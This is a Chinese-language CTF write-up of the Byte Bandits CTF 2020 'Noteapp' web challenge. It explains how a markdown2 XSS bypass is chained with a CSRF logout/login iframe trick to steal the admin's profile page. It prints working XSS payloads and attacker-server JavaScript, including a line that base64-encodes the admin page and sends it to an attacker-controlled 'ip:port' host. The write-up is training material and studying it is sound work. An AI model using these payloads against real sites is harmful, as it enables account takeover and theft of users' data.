byte bandits ctf 2020 Noteapp

今天又是自闭的一天呢

Noteapp

考点:XSS、CSRF(wtcl....自闭了)

注册登陆之后是一个便签
/profile
byte bandits ctf 2020 Noteapp
并且可以提交页面给管理员看,xss实锤了

但是有内容的闭合标签都会被替换成[HTML_REMOVED]
byte bandits ctf 2020 Noteapp
单个尖括号也会被转义成html实体编码:<

xss技术太差了,结束之后看思路,没想到突破点是这个:用的markdown2解析器
byte bandits ctf 2020 Noteapp
poc:https://github.com/trentm/python-markdown2/issues/341
看一下markdown版本为2.3.8,正好符合

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

能弹窗:
byte bandits ctf 2020 Noteapp
但是此时的页面依然是:/profile

如果提交给管理员这个url,那么管理员访问的也只是自己的/profile

之前从来没碰到过CSRF,没想到在这碰上了

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者构造结合了恶意JavaScript和iframe的攻击,该iframe加载了合法页面
诱使你点击,然后以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作

那么我们要获取管理员的/profile(flag在上面)步骤如下:

1.先在自己的服务器上构造第一个恶意的iframe,用来获取保存管理员的/profile页面。再构造第二个iframe,将管理员注销。构造第三个iframe用来登陆我们自己的账号,url为/login?username=xxx&password=xxx
2.管理员登陆我们的账号后,会自动跳转的我们的/profile,此时改一下上面的xss语句,跳转到我们服务器,并携带第一个iframe的值,这样就成功返回了管理员页面

为了确保上述操作能一步步进行,需要延时来确保完成

服务器js如下:

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener(‘load‘, function() {
	//iframe1
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");//获取body标签的内容
    body.appendChild(adminframe);//加入iframe1
    sleep(3000);//延时
    //iframe2
    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";//用来注销admin账号
    body.appendChild(logoutframe);
    sleep(3000);//延时
    //iframe3
    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=xxx&password=xxx";//登陆我们的账号
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

/profile js如下,用来获取iframe的body值并跳转到服务器

<http://g<!s://q?<!-<[<script>location.href=‘http://ip:port?q=‘+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

做完准备工作后只需要提交url:ip/evil.js即可,然后监听端口即可收到flag

参考文章:https://graneed.hatenablog.com/entry/2020/04/13/004211
https://d1r3wolf.blogspot.com/2020/04/chaning-no-impactna-bugs-to-get-high.html
关于csrf:https://xz.aliyun.com/t/1243#toc-11
https://www.freebuf.com/articles/web/55965.html

下次抽个时间写一下csrf吧

byte bandits ctf 2020 Noteapp

上一篇:Ten Trending Applications of Artificial Intelligence


下一篇:BadMethodCallException : Call to undefined method App\Models\Article::setContainer()